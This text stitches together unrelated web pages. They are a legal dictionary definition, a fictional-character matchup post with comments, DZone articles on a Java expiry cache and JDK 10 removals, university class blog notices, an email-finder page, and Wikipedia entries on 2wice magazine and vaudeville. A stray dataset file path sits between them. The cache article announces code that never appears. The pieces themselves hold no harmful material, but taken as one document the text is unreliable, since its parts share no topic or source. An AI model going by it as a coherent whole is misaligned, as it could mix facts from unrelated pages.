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FindLaw Legal Dictionary
Major Federal Action
major federal action n
: a proposed federal undertaking that pursuant to the National Environmental Policy Act must be the subject of an environmental impact statement if it would significantly affect the environment
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global_01_local_1_shard_00001926_processed.jsonl/49036
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Dio Brando vs Ghost Rider
Suggested by iKnowledge It’s time for Dio Brando to take the stage once more. His super speed is quite impressive and really balances out his time/ice abilities. Ghost Rider is very strong and at his best he is considered to be one of Marvel’s heavy weights. Still, his speed isn’t great enough to match up against Brando. If the Rider was a little more durable than perhaps he would stand a chance, but even then it would be a very rough fight. Dio won’t let his guard down either so there’s no chance of a sneak attack. Dio Brando wins.
4 thoughts on “Dio Brando vs Ghost Rider
• True, the Penance Stare would cause a lot of damage but between Dio’s insanity and reveling in his opponent’s pain I think he would handle it pretty well. Ghost Rider would also have a tough time keeping up with Dio to land the glances
• I know that The Penance Stare has failed to work on Deadpool and Madcap, two Marvel Comics characters who are more morally white than Dio, but, reveling in pain is no way to survive that, as well as lacking remorse.
• I think for Deadpool the logic seemed to be that he was too crazy to really feel its effects which hints that it is more of a spiritual based attack than a physical one although it seems to vary. In that case if the characters really don’t care about what they have done they may have a better resistance. It is conjecture though and either way I think the speed difference is the big part here though
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Over a million developers have joined DZone.
ExpiryFolder: Time Based Cache
DZone's Guide to
ExpiryFolder: Time Based Cache
· Performance Zone ·
Free Resource
I recently blogged about Top ten performance problems and their solutions. Here is a class that can help you when caching. This class is time based. Meaning that unless accessed, the entries will be removed after x minutes.
This can be useful when you want a session time-out for example.
How does it work?
You have to think about boxes and objects moving from boxes to boxes every tick until they reach the last box where they disappear.Let's say you have a time-out of 30 minutes with a tick every 30 seconds.
The ExpiryFolder will create 60 boxes.
Every objects created at about the same time are in the same box.
Every 30 seconds they move to the box n-1.
If an object is accessed, it moves to the top box.
When it reaches the box 0 and a tick is processed, the object is removed.
One of the big challenge is the synchronization. Here is the code:
Here is an example:
private final static int DURATION = 5000; //ms
private final static int PRECISION = 1000; //ms
private final static String NAME = "TestFolder";
ExpiryStrategy strategy = new ExpiryStrategy(DURATION, PRECISION);
ExpiryFolder folder = new ExpiryFolder(NAME, strategy);
final String KEY = "something";
final String VAL = "else";
folder.put(KEY, VAL);
assertEquals(1, folder.size());
assertEquals(VAL, folder.find(KEY)); // doesn't count as an access
assertEquals(VAL, folder.get(KEY));
Note that this code is already used on production for several years.
Opinions expressed by DZone contributors are their own.
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Over a million developers have joined DZone.
JDK 10: Pitfalls for the Unwary
DZone's Guide to
JDK 10: Pitfalls for the Unwary
Java 10 brings with it a host of changes and new features, but also some items to watch out for. Let's go over some key ones.
· Java Zone ·
Free Resource
Now that JDK 10 has been out for a while, I thought it would be a good idea to write a follow up to one of my earlier posts. The previous post described all the changes in JDK 9 that might cause problems for application migration. Since all the changes in JDK 9 are also in JDK 10, if you're planning to move an application from JDK 8 or earlier, you should probably read both posts.
Although only having six months of development, JDK 10 contains (by my count) 109 new features and APIs.
From a feature perspective, the most significant is local-variable type inference. Without going into details, we now have the ability to use var in place of an explicit type definition for local variables and let the compiler infer the specific type for us. How does that impact backwards compatibility? Not much as, thankfully, var has not been made a reserved word. I'm sure there are plenty of developers who have at some point used var as a variable name, even though it's probably not an excellent choice. Instead, var is now a reserved type. The net effect of this is that this code is valid:
var var = "Great variable name choice!";
but this code, which would have compiled on JDK 9 and earlier, is no longer valid:
public class var {
public var() {
System.out.println("Hello from var!");
If you try and compile this with JDK 10 you will get the following errors:
var.java:1: error: 'var' not allowed here
public class var {
as of release 10, 'var' is a restricted local variable type and cannot be used for type declarations
var.java:2: error: 'var' is not allowed here
public var() {
2 errors
Of course, I'm sure nobody has created a class called var, as that goes against the naming convention for Java classes. If you have, just renaming it to Var will solve at least one of your problems.
Deleted API Elements
The next thing to look at is the standard API elements that have been removed in JDK 10. Until JDK 9, no deprecated API elements had ever been removed (despite there being over four hundred of them). The changes in JDK 9 were small, and those in JDK 10 are not much bigger. Here's the list of things that will require changes if you've used them in your code.
Firstly, a number of classes in the com.sun.security.auth package have been removed, which is part of the Java Authentication and Authorisation Service (JAAS) API.
• PolicyFile: Replaced by sun.security.provider.PolicyFile.
• SolarisNumericGroupPrincipal: Replaced by UnixNumericGroupPrincipal
• SolarisNumericUserPrincipal: Replaced by UnixNumericUserPrincipal
• SolarisPrincipal: Replaced by UnixPrincipal
• X500Principal: A new X500Principal class is available in the javax.security.auth.x500 package contained in the java.base module.
Two methods have been removed from the related com.sun.security.auth.module package:
• SolarisLoginModule:
• SolarisSystem:
The java.lang.SecurityManager also has several elements removed. The inCheck field has been removed as well as the following methods:
• classDepth
• classLoaderDepth
• currentClassLoader
• currentLoadedClass:
• getInCheck
• inClass
• inClassLoader
All these elements are ancient, dating from pre-JDK 1.2.
Two obsolete internationalisation methods have been removed from the java.lang.Runtime class. According to the release notes, there are no known users of these APIs. I'm willing to bet someone, somewhere has.
• getLocalizedInputStream
• getLocalizedOutputStream
The com.sun.java.browser.plugin2.DOM, and sun.plugin.dom.DOMObject APIs have been removed. If you have used either of these can use netscape.javascript.JSObject. This is in preparation for the removal of Applet support in JDK 11.
The way that specific Look and Feels are selected has changed. For the Nimbus and Aqua Look and Feel you should use these method calls.
Miscellaneous Changes
There are a couple of minor changes that might affect application portability, although they are more likely to affect build scripts.
The javah command has been removed. This has been used in the past to generate header files for JNI code. The way to do this in JDK 10 is to use the -h flag on javac, which does the same thing.
The policytool has been removed. The tool generates a text file and, typically, the only place where changes need to be made are in the $JAVA_HOME/conf/security/java.policy file.
RMI Server-Side Multiplex Protocol Support, which was disabled in JDK 9, has now been removed. This is another one of those ancient and obscure things that likely maybe only one person in the world uses. The protocol was introduced back in JDK 1.0.2 to work around a problem in the Netscape Navigator browser when running applets that used RMI. The feature was deprecated in JDK 1.2.2.
A number of obsolete -X command line options have been removed. Specifically:
• -Xoss
• -Xsqnopause
• -Xoptimize
• -Xboundthreads
• -Xusealtsigs
The -d32 and -d64 command line options, which only really had any effect when running on Solaris, have been removed. There is now only a 64-bit version of the JDK binary from Oracle.
Finally, the JDK 6/JDK 7/JDK 8 standard Doclets have been removed.
There are a number of things that have been removed in JDK 10, but I doubt any of these will affect a significant number of (or in most cases, any) applications. Clearly, the big change in terms of migrating to JDK 10 is ensuring that code, including third-party libraries and frameworks, work correctly with the Java Platform Module System. If you've already tested your applications with JDK 9 moving to JDK 10 should be easy.
Let's wait and see what JDK 11 brings...
java 10 ,jdk 10 ,pitfalls ,java
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Welcome to Chris Elvin`s presentation class
Dear studens,
Welcome to the course. Please check here before class for announcements and updates.
Kind regards,
Chris Elvin
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Welcome to Chris Elvin's Rikkyo University Presentation Class
Dear students,
Welcome to Presentation class.
English Presentation I (Spring, 2018) Chris Elvin
Day / Time:Tuesday Period 1 Contact: Class blog: Classroom: X202 Class Code:FK303
Course Description & Objectives This course is designed primarily to improve students’ presentation skills and thereby to develop their integrative English language proficiency.In spring the goal is to acquire basic presentations skills, including how to organize a presentation, supporting arguments with evidence, effective use of visual aids, and aspects of delivery such as eye contact or gesture. Students base their presentations on the basic patterns taught and learn to speak from notes. More skilled students make longer persuasive presentations as the term progresses. The class is conducted in English. Textbook: LeBeau, C., & Harrington, D. (2009). Speaking of speech. Oxford, UK: Macmillan. Course Schedule: Week 1 (April 17th) Orientation and To…
Peer feedback
Dear students,
Please provide feedback to your classmates by clicking on the form below. For each student, please write her name in the text box before you write your comments. Any fair constructive comment about the presentation will be fine.
Peer Feedback Form
Kind regards,
Chris Elvin
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Want to directly email someone at I Con I but don't know their address?
Don't sweat it, we've got you covered.
Get the email address format for people working at
We're still trying to figure out the format for email addresses at i-con-i.es for sure. We've got the following addresses though for employees currently at the firm. Does this get you any further on your quest?
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(found Mar 2014 - )
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From Wikipedia, the free encyclopedia
Jump to navigation Jump to search
Cover of 2wice
2wice is an interdisciplinary magazine dedicated to contemporary dance, visual and performing arts. Patsy Tarr is the founder and editor in chief of 2wice and president of the 2wice Arts Foundation. The magazine is designed and co-edited by J. Abbott Miller of Pentagram. The magazine debuted in 1997.
Before 2wice, Tarr and Abbot had collaborated in similar roles to produce Dance Ink, a quarterly journal that appeared from 1989 through 1996.[1]
The publishers of 2wice have also produced other publications – Mah Jongg,[2] False Start,[3] Green World: Merce Cunningham,[4] Everybody Dance Now,[5] Geoffrey Beene and John Kelly – and an iPad app, Merce Cunningham Event.[6] Dance 2wice, a book of essays collected from 2wice was published in 2004.[7] An exhibition, Everybody Dance Now, was held at AIGA in New York City in 2009. The exhibition featured work resulting from the collaboration of Tarr and Miller.[8]
The publication was named "Magazine of the Year" by the Society of Publication Designers in 2006. The magazine is also in the collection of the San Francisco Museum of Modern Art.[9]
1. ^ "Bard College Visual Resources Center » Blog Archive » Designed to Dance: Dance Ink Magazine". Vrc.bard.edu. 2012-02-08. Retrieved 2012-03-20.
2. ^ "Take Two Mah Jongg Tablets and". Printmag.com. 2010-05-19. Retrieved 2012-03-20.
3. ^ "New Work: 2wice False Start | New at". Pentagram. 2012-03-05. Retrieved 2012-03-20.
4. ^ Macaulay, Alastair (2007-09-15). "Green World: Merce Cunningham - Dance - Books - Column - New York Times". Nytimes.com. Retrieved 2012-03-20.
5. ^ "Everybody Dance Now". Creative Review. Retrieved 2012-03-20.
6. ^ "Culture Watch: Merce Cunningham iPad app". Latimesblogs.latimes.com. August 4, 2011. Retrieved 2012-03-20.
7. ^ "Dance 2wice | Performing Arts / Music | Phaidon Store". Phaidon.com. Retrieved 2012-03-20.
8. ^ "'Everybody Dance Now' Opens at the AIGA | New at". Pentagram. 2012-03-05. Retrieved 2012-03-20.
9. ^ "Explore Modern Art | Our Collection | J. Abbott Miller | Works By". SFMOMA. Retrieved 2012-03-20.
External links[edit]
• Website of 2wice Arts Foundation [1]
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From Wikipedia, the free encyclopedia
(Redirected from American vaudeville)
Jump to navigation Jump to search
A promotional poster for the Sandow Trocadero Vaudevilles (1894), showing dancers, clowns, trapeze artists, costumed dog, singers and costumed actors
Vaudeville (/ˈvɔːd(ə)vɪl/; French: [vodvil]) is a theatrical genre of variety entertainment born in France at the end of the 1700s. A vaudeville is a comedy without psychological or moral intentions, based on a comical situation. It was originally a kind of dramatic composition or light poetry, usually a comedy, interspersed with songs or ballets. It became popular in the United States and Canada from the early 1880s until the early 1930s, but the idea of Vaudeville's theatre changed radically from its French antecedent.
In some ways analogous to music hall from Victorian Britain,[1] a typical American vaudeville performance was made up of a series of separate, unrelated acts grouped together on a common bill. Types of acts have included popular and classical musicians, singers, dancers, comedians, trained animals, magicians, ventriloquists, strongmen, female and male impersonators, acrobats, illustrated songs, jugglers, one-act plays or scenes from plays, athletes, lecturing celebrities, minstrels, and movies. A vaudeville performer is often referred to as a "vaudevillian".
Vaudeville developed from many sources, including the concert saloon, minstrelsy, freak shows, dime museums, and literary American burlesque. Called "the heart of American show business", vaudeville was one of the most popular types of entertainment in North America for several decades.[2]
The origin of this term is obscure, but is often explained as being derived from the French expression voix de ville ("voice of the city"). A second speculation is that it comes from the 15th-century songs on satire by poet Olivier Basselin, "Vaux de Vire".[3] In his Connections television series, science historian James Burke argues that the term is a corruption of the French "Vau de Vire" ("Vire River Valley", in English), an area known for its bawdy drinking songs and where Basselin lived;[4] Jean le Houx circa 1610 collected these works as Le Livre des Chants nouveaux de Vaudevire [fr], which is probably the direct origin of the word. Some, however, preferred the earlier term "variety" to what manager Tony Pastor called its "sissy and Frenchified" successor. Thus, vaudeville was marketed as "variety" well into the 20th century.
From newspaper promotional for vaudeville character actor Charles Grapewin, circa 1900
With its first subtle appearances within the early 1860s, vaudeville was not initially a common form of entertainment. The form gradually evolved from the concert saloon and variety hall into its mature form throughout the 1870s and 1880s. This more gentle form was known as "Polite Vaudeville".[5]
In the years before the American Civil War, entertainment existed on a different scale. Certainly, variety theatre existed before 1860 in Europe and elsewhere. In the US, as early as the first decades of the 19th century, theatregoers could enjoy a performance consisting of Shakespeare plays, acrobatics, singing, dancing, and comedy.[citation needed] As the years progressed, people seeking diversified amusement found an increasing number of ways to be entertained. Vaudeville was characterized by traveling companies touring through cities and towns.[6] A handful of circuses regularly toured the country; dime museums appealed to the curious; amusement parks, riverboats, and town halls often featured "cleaner" presentations of variety entertainment; compared to saloons, music halls, and burlesque houses, which catered to those with a taste for the risqué. In the 1840s, the minstrel show, another type of variety performance, and "the first emanation of a pervasive and purely American mass culture", grew to enormous popularity and formed what Nick Tosches called "the heart of 19th-century show business".[7] A significant influence also came from Dutch minstrels and comedians.[8] Medicine shows traveled the countryside offering programs of comedy, music, jugglers, and other novelties along with displays of tonics, salves, and miracle elixirs, while "Wild West" shows provided romantic vistas of the disappearing frontier, complete with trick riding, music and drama. Vaudeville incorporated these various itinerant amusements into a stable, institutionalized form centered in America's growing urban hubs.
In the early 1880s, impresario Tony Pastor, a circus ringmaster turned theatre manager, capitalized on middle class sensibilities and spending power when he began to feature "polite" variety programs in several of his New York City theatres.[9] The usual date given for the "birth" of vaudeville is October 24, 1881 at New York's Fourteenth Street Theatre, when Pastor famously staged the first bill of self-proclaimed "clean" vaudeville in New York City.[3] Hoping to draw a potential audience from female and family-based shopping traffic uptown, Pastor barred the sale of liquor in his theatres, eliminated bawdy material from his shows, and offered gifts of coal and hams to attendees. Pastor's experiment proved successful, and other managers soon followed suit.
Performance bill for Temple Theatre, Detroit, December 1, 1902
The manager's comments, sent back to the circuit's central office weekly, follow each act's description. The bill illustrates the typical pattern of opening the show with a "dumb" act to allow patrons to find their seats, placing strong acts in second and penultimate positions, and leaving the weakest act for the end, to clear the house.
As well, note that in this bill, as in many vaudeville shows, acts often associated with "lowbrow" or popular entertainment (acrobats, a trained mule) shared a stage with acts more usually regarded as "highbrow" or classical entertainment (opera vocalists, classical musicians).
• (1) Burt Jordan and Rosa Crouch. "Sensational, grotesque and 'buck' dancers. A good act ..."
• (2) The White Tscherkess Trio. "A man and two women who do a singing turn of the operatic order. They carry special scenery which is very artistic and their costumes are original and neat. Their voices are good and blend exceedingly well. The act goes big with the audience."
• (3) Sarah Midgely and Gertie Carlisle. "Presenting the sketch 'After School.' ... they are a 'knockout.'"
• (4) Theodor F. Smith and Jenny St. George-Fuller. "Refined instrumentalists."
• (5) Milly Capell. "European equestrienne. This is her second week. On account of the very pretty picture that she makes she goes as strong as she did last week."
• (6) R. J. Jose. "Tenor singer. The very best of them all."
• (7) The Nelson Family of Acrobats. "This act is composed of three men, two young women, three boys and two small girls. The greatest acrobatic act extant."
• (8) James Thornton. "Monologist and vocalist. He goes like a cyclone. It is a case of continuous laughter from his entrance to his exit."
• (9) Burk and Andrus and Their Trained Mule. "This act, if it can be so classed, was closed after the evening performance."
Typical provincial venue on the circuit: "The Opera" in Kirksville, Missouri
B. F. Keith took the next step, starting in Boston, where he built an empire of theatres and brought vaudeville to the US and Canada. Later, E. F. Albee, adoptive grandfather of the Pulitzer Prize-winning playwright Edward Albee, managed the chain to its greatest success. Circuits such as those managed by Keith-Albee provided vaudeville's greatest economic innovation and the principal source of its industrial strength. They enabled a chain of allied vaudeville houses that remedied the chaos of the single-theatre booking system by contracting acts for regional and national tours. These could easily be lengthened from a few weeks to two years.
Albee also gave national prominence to vaudeville's trumpeting "polite" entertainment, a commitment to entertainment equally inoffensive to men, women and children. Acts that violated this ethos (e.g., those that used words such as "hell") were admonished and threatened with expulsion from the week's remaining performances or were canceled altogether. In spite of such threats, performers routinely flouted this censorship, often to the delight of the very audience members whose sensibilities were supposedly endangered. He eventually instituted a set of guidelines to be an audience member at his show, and these were reinforced by the ushers working in the theatre.[3]
This "polite entertainment" also extended to Keith's company members. He went to extreme measures to maintain this level of modesty. Keith even went as far as posting warnings backstage such as this: "Don't say 'slob' or 'son of a gun' or 'hully gee' on the stage unless you want to be canceled peremptorily ... if you are guilty of uttering anything sacrilegious or even suggestive you will be immediately closed and will never again be allowed in a theatre where Mr. Keith is in authority." Along these same lines of discipline, Keith's theatre managers would occasionally send out blue envelopes with orders to omit certain suggestive lines of songs and possible substitutions for those words. If actors chose to ignore these orders or quit, they would get "a black mark" on their name and would never again be allowed to work on the Keith Circuit. Thus, actors learned to follow the instructions given them by B. F. Keith for fear of losing their careers forever.[3]
By the late 1890s, vaudeville had large circuits, houses (small and large) in almost every sizable location, standardized booking, broad pools of skilled acts, and a loyal national following. One of the biggest circuits was Martin Beck's Orpheum Circuit. It incorporated in 1919 and brought together 45 vaudeville theatres in 36 cities throughout the US and Canada and a large interest in two vaudeville circuits. Another major circuit was that of Alexander Pantages. In his heyday, Pantages owned more than 30 vaudeville theatres and controlled, through management contracts, perhaps 60 more in both the US and Canada.
At its height, vaudeville played across multiple strata of economic class and auditorium size. On the vaudeville circuit, it was said that if an act would succeed in Peoria, Illinois, it would work anywhere. The question "Will it play in Peoria?" has now become a metaphor for whether something appeals to the American mainstream public. The three most common levels were the "small time" (lower-paying contracts for more frequent performances in rougher, often converted theatres), the "medium time" (moderate wages for two performances each day in purpose-built theatres), and the "big time" (possible remuneration of several thousand dollars per week in large, urban theatres largely patronized by the middle and upper-middle classes). As performers rose in renown and established regional and national followings, they worked their way into the less arduous working conditions and better pay of the big time. The capital of the big time was New York City's Palace Theatre (or just "The Palace" in the slang of vaudevillians), built by Martin Beck in 1913 and operated by Keith. Featuring a bill stocked with inventive novelty acts, national celebrities, and acknowledged masters of vaudeville performance (such as comedian and trick roper Will Rogers), the Palace provided what many vaudevillians considered the apotheosis of remarkable careers. A standard show bill would begin with a sketch, follow with a single (an individual male or female performer); next would be an alley oop (an acrobatic act); then another single, followed by yet another sketch such as a blackface comedy. The acts that followed these for the rest of the show would vary from musicals to jugglers to song-and-dance singles and end with a final extravaganza – either musical or drama – with the full company. These shows would feature such stars as ragtime and jazz pianist Eubie Blake, the famous and magical Harry Houdini, and child star Baby Rose Marie, adds Gilbert.[10] In the New-York Tribune's article about Vaudeville, it is said that at any given time, Vaudeville was employing over twelve thousand different people throughout its entire industry. Each entertainer would be on the road 42 weeks at a time while working a particular "Circuit" – or an individual theatre chain of a major company.[11]
This 1913 how-to booklet for would-be vaudevillians was recently republished.
While the neighborhood character of vaudeville attendance had always promoted a tendency to tailor fare to specific audiences, mature vaudeville grew to feature houses and circuits specifically aimed at certain demographic groups. Black patrons, often segregated into the rear of the second gallery in white-oriented theatres, had their own smaller circuits, as did speakers of Italian and Yiddish. (For a brief discussion of Black vaudeville, see Theatre Owners Booking Association.) This foreign addition combined with comedy produced such acts as "minstrel shows of antebellum America" and Yiddish theatre. PBS adds that many of these ethnic families joined in on this entertainment business, and for them, this traveling lifestyle was simply a continuation of the adventures that brought them to America. Through these acts, they were able to assimilate themselves into their new home while also bringing bits of their own culture into this new world.[12] White-oriented regional circuits, such as New England's "Peanut Circuit", also provided essential training grounds for new artists while allowing established acts to experiment with and polish new material. At its height, vaudeville was rivaled only by churches and public schools among the nation's premiere public gathering places.
Another slightly different aspect of Vaudeville was an increasing intrigue with the female figure. The previously mentioned ominous idea of "the blue envelopes" led to the phrase "blue" material, which described the provocative subject matter present in many Vaudeville acts of the time.[3] Many managers even saw this scandalous material as a marketing strategy to attract many different audiences. As stated in Andrew Erdman's book Blue Vaudeville, the Vaudeville stage was even marked with descriptions like, "a highly sexualized space ... where unclad bodies, provocative dancers, and singers of 'blue' lyrics all vied for attention." Such performances highlighted and objectified the female body as a "sexual delight", a phenomenon that historians believe emerged in the mid-19th century. But more than that, these historians think that Vaudeville marked a time in which the female body became its own "sexual spectacle" more than it ever had before. This sexual image began sprouting everywhere an American went: the shops, a restaurant, the grocery store, etc. The more this image brought in the highest revenue, the more Vaudeville focused on acts involving women. Even acts that were as innocent as a sister act were higher sellers than a good brother act. Consequently, Erdman adds that female Vaudeville performers such as Julie Mackey and Gibson's Bathing Girls began to focus less on talent and more on physical appeal through their figure, tight gowns, and other revealing attire. It eventually came as a surprise to audience members when such beautiful women actually possessed talent in addition to their appealing looks. This element of surprise colored much of the reaction to the female entertainment of this time.[13]
Selected vaudeville artists[edit]
Immigrant America[edit]
In addition to vaudeville's prominence as a form of American entertainment, it reflected the newly evolving urban inner city culture and interaction of its operators and audience. Making up a large portion of immigration to the United States in the mid-19th century, Irish Americans interacted with established Americans, with the Irish becoming subject to discrimination due to their ethnic physical and cultural characteristics. The ethnic stereotypes of Irish through their greenhorn depiction alluded to their newly arrived status as immigrant Americans, with the stereotype portrayed in avenues of entertainment.[14]
Following the Irish immigration wave, several waves followed in which new immigrants from different backgrounds came in contact with the Irish in America's urban centers. Already settled and being native English speakers, Irish Americans took hold of these advantages and began to assert their positions in the immigrant racial hierarchy based on skin tone and assimilation status, cementing job positions that were previously unavailable to them as recently arrived immigrants.[15] As a result, Irish Americans became prominent in vaudeville entertainment as curators and actors, creating a unique ethnic interplay between Irish American use of self-deprecation as humor and their diverse inner city surroundings.[16]
The interactions between newly arrived immigrants and settled immigrants within the backdrop of the unknown American urban landscape allowed vaudeville to be utilized as an avenue for expression and understanding. The often hostile immigrant experience in their new country was now used for comic relief on the vaudeville stage, where stereotypes of different ethnic groups were perpetuated.[17] The crude stereotypes that emerged were easily identifiable not only by their distinct ethnic cultural attributes, but how those attributes differed from the mainstream established American culture and identity.[18]
Harry Houdini and Jennie, the Vanishing Elephant, January 7, 1918
Coupled with their historical presence on the English stage for comic relief,[16] and as operators and actors of the vaudeville stage, Irish Americans became interpreters of immigrant cultural images in American popular culture. New arrivals found their ethnic group status defined within the immigrant population and in their new country as a whole by the Irish on stage.[19] Unfortunately, the same interactions between ethnic groups within the close living conditions of cities also created racial tensions which were reflected in vaudeville. Conflict between Irish and African Americans saw the promotion of black-face minstrelsy on the stage, purposefully used to place African Americans beneath the Irish in the racial and social urban hierarchy.[20]
Although the Irish had a strong Celtic presence in vaudeville and in the promotion of ethnic stereotypes, the ethnic groups that they were characterizing also utilized the same humor. As the Irish donned their ethnic costumes, groups such as the Chinese, Italians, Germans and Jews utilized ethnic caricatures to understand themselves as well as the Irish.[21] The urban diversity within the vaudeville stage and audience also reflected their societal status, with the working class constituting two-thirds of the typical vaudeville audience.[21]
The ethnic caricatures that now comprised American humor reflected the positive and negative interactions between ethnic groups in America's cities. The caricatures served as a method of understanding different groups and their societal positions within their cities.[21] The use of the greenhorn immigrant for comedic effect showcased how immigrants were viewed as new arrivals, but also what they could aspire to be. In addition to interpreting visual ethnic caricatures, the Irish American ideal of transitioning from the shanty[22] to the lace curtain[18] became a model of economic upward mobility for immigrant groups.
Styles of Lucy, Lady Duff-Gordon, as presented in a vaudeville circuit pantomime and sketched by Marguerite Martyn of the St. Louis Post-Dispatch in April 1918
The continued growth of the lower-priced cinema in the early 1910s dealt the heaviest blow to vaudeville. This was similar to the advent of free broadcast television's diminishing the cultural and economic strength of the cinema. Cinema was first regularly commercially presented in the US in vaudeville halls. The first public showing of movies projected on a screen took place at Koster and Bial's Music Hall in 1896. Lured by greater salaries and less arduous working conditions, many performers and personalities, such as Al Jolson, W. C. Fields, Mae West, Buster Keaton, the Marx Brothers, Jimmy Durante, Bill "Bojangles" Robinson, Edgar Bergen, Fanny Brice, Burns and Allen, and Eddie Cantor, used the prominence gained in live variety performance to vault into the new medium of cinema. In doing so, such performers often exhausted in a few moments of screen time the novelty of an act that might have kept them on tour for several years. Other performers who entered in vaudeville's later years, including Jack Benny, Abbott and Costello, Kate Smith, Cary Grant, Bob Hope, Milton Berle, Judy Garland, Rose Marie, Sammy Davis, Jr., Red Skelton, and The Three Stooges, used vaudeville only as a launching pad for later careers. They left live performance before achieving the national celebrity of earlier vaudeville stars, and found fame in new venues.
The line between live and filmed performances was blurred by the number of vaudeville entrepreneurs who made more or less successful forays into the movie business. For example, Alexander Pantages quickly realized the importance of motion pictures as a form of entertainment. He incorporated them in his shows as early as 1902. Later, he entered into partnership with the Famous Players-Lasky, a major Hollywood production company and an affiliate of Paramount Pictures.
By the late 1920s, most vaudeville shows included a healthy selection of cinema. Earlier in the century, many vaudevillians, cognizant of the threat represented by cinema, held out hope that the silent nature of the "flickering shadow sweethearts" would preclude their usurpation of the paramount place in the public's affection. With the introduction of talking pictures in 1926, the burgeoning film studios removed what had remained the chief difference in favor of live theatrical performance: spoken dialogue. Historian John Kenrick wrote:
Top vaudeville stars filmed their acts for one-time pay-offs, inadvertently helping to speed the death of vaudeville. After all, when "small time" theatres could offer "big time" performers on screen at a nickel a seat, who could ask audiences to pay higher amounts for less impressive live talent? The newly-formed RKO studios took over the famed Orpheum vaudeville circuit and swiftly turned it into a chain of full-time movie theatres. The half-century tradition of vaudeville was effectively wiped out within less than four years.[23]
Inevitably, managers further trimmed costs by eliminating the last of the live performances. Vaudeville also suffered due to the rise of broadcast radio following the greater availability of inexpensive receiver sets later in the decade. Even the hardiest in the vaudeville industry realized the form was in decline; the perceptive understood the condition to be terminal. The standardized film distribution and talking pictures of the 1930s confirmed the end of vaudeville. By 1930, the vast majority of formerly live theatres had been wired for sound, and none of the major studios were producing silent pictures. For a time, the most luxurious theatres continued to offer live entertainment, but most theatres were forced by the Great Depression to economize.
Some in the industry blamed cinema's drain of talent from the vaudeville circuits for the medium's demise. Others argued that vaudeville had allowed its performances to become too familiar to its famously loyal, now seemingly fickle audiences.
There was no abrupt end to vaudeville, though the form was clearly sagging by the late 1920s. Joseph Kennedy, Sr. in a hostile buyout, acquired the Keith-Albee-Orpheum Theatres Corporation (KAO), which had more than 700 vaudeville theatres across the United States which had begun showing movies. The shift of New York City's Palace Theatre, vaudeville's epicenter, to an exclusively cinema presentation on November 16, 1932 is often considered to have been the death knell of vaudeville.[24] No single event is more reflective of its gradual withering.
Though talk of its resurrection was heard during the 1930s and later, the demise of the supporting apparatus of the circuits and the higher cost of live performance made any large-scale renewal of vaudeville unrealistic.
The most striking examples of Gilded Age theatre architecture were commissioned by the big time vaudeville magnates and stood as monuments of their wealth and ambition. Examples of such architecture are the theatres built by impresario Alexander Pantages. Pantages often used architect B. Marcus Priteca (1881–1971), who in turn regularly worked with muralist Anthony Heinsbergen. Priteca devised an exotic, neo-classical style that his employer called "Pantages Greek".
Though classic vaudeville reached a zenith of capitalization and sophistication in urban areas dominated by national chains and commodious theatres, small-time vaudeville included countless more intimate and locally controlled houses. Small-time houses were often converted saloons, rough-hewn theatres, or multi-purpose halls, together catering to a wide range of clientele. Many small towns had purpose-built theatres.
Vaudeville's cultural influence and legacy[edit]
As the genre declined, most performers left the theatre. The child tap dancer Ray Wollbrinck, once called "the cleverest buckdancer on the vaudeville stage", later became a bandleader and ended his days as a bank teller.
Some of the most prominent vaudevillians successfully made the transition to cinema, though others were not as successful. Some performers such as Bert Lahr fashioned careers out of combining live performance with radio and film roles. Many others later appeared in the Catskill resorts that constituted the "Borscht Belt".
Vaudeville was instrumental in the success of the newer media of film, radio, and television. Comedies of the new era adopted many of the dramatic and musical tropes of classic vaudeville acts. Film comedies of the 1920s through the 1940s used talent from the vaudeville stage and followed a vaudeville aesthetic of variety entertainment, both in Hollywood and in Asia, including China.[25]
The rich repertoire of the vaudeville tradition was mined for prominent prime-time radio variety shows such as The Rudy Vallée Show. The structure of a single host introducing a series of acts became a popular television style and can be seen consistently in the development of television, from The Milton Berle Show in 1948 to Late Night With David Letterman in the 1980s.[26] The multi-act format had renewed success in shows such as Your Show of Shows with Sid Caesar and The Ed Sullivan Show. Today, performers such as Bill Irwin, a MacArthur Fellow and Tony Award-winning actor, are frequently lauded as "New Vaudevillians".[27][28]
References to vaudeville and the use of its distinctive argot continue throughout Western popular culture. Words such as "flop" and "gag" were terms created from the vaudeville era and have entered the American idiom. Though not credited often, vaudevillian techniques can commonly be witnessed on television and in movies.
In professional wrestling, there was a noted tag team, based in WWE, called The Vaudevillains.[29]
In 2018, noted film director Christopher Annino, maker of a new silent feature film, Silent Times, founded Vaudeville Con, a gathering to celebrate the history of vaudeville. The first meeting was held in Pawcatuck, Connecticut.[30][31]
The records of the Tivoli Theatre are housed at the State Library of Victoria, Melbourne, Australia, with additional personal papers of vaudevillian performers from the Tivoli Theatre, including extensive costume and set design holdings, held by the Performing Arts Collection, Arts Centre Melbourne.
The American Vaudeville Museum, one of the largest collection of vaudeville memorabilia, is located at the University of Arizona.[32]
The Elgin and Winter Garden Theatres in Toronto houses the world's largest collection of vaudeville props and scenery.
The Benjamin Franklin Keith and Edward F. Albee Collection housed at the University of Iowa includes a large collection of managers' report books recording and commenting on the lineup and quality of the acts each night.[33]
See also[edit]
1. ^ "Forms of Variety Theater". Library of Congress. 1996. Retrieved 27 April 2018.
2. ^ Trav, S.D. (October 31, 2006). No Applause-Just Throw Money: The Book That Made Vaudeville Famous. Faber & Faber. ISBN 978-0865479586. (Subscription required (help)).
3. ^ a b c d e Kenrick, John. "A History of The Musical: Vaudeville". Retrieved 2015-10-26.
4. ^ Burke, James (September 2, 2003). An Invisible Object (Connections3 DVD). Ambrose Video Publishing, Inc.
5. ^ Cullen, Frank; Hackman, Florence; McNeilly, Donald (October 8, 2006). "Vaudeville History". Vaudeville, Old & New: An Encyclopedia of Variety Performers in America. London: Routledge. pp. xi–xxxii.
6. ^ Thompson, Robert J. (February 4, 2014). "Television in the United States". Encyclopædia Britannica. Retrieved 2015-10-26.
7. ^ Tosches, Nick (2002). Where Dead Voices Gather. Boston: Back Bay Books. p. 11. ISBN 0-316-89537-7.
8. ^ Grosch, Nils; Widmaier, Tobias, eds. (2010). Lied und populäre Kultur/ Song and Popular Culture (in German). Münster: Waxman Verlag GmbH. p. 233. ISBN 978-383092395-4. ... the widespread influence Dutch minstrels and comedians had with their musical and dramaturgical idiom on vaudeville, the circuit of traveling tent shows. ... The Black Crook of 1866 ... already displayed a mixture of "ersatz German romanticism" (Gerald Bordman) and burlesque elements inherited from the Dutch character shows ...
9. ^ "vaudeville | entertainment". Encyclopedia Britannica. Retrieved 2017-08-11.
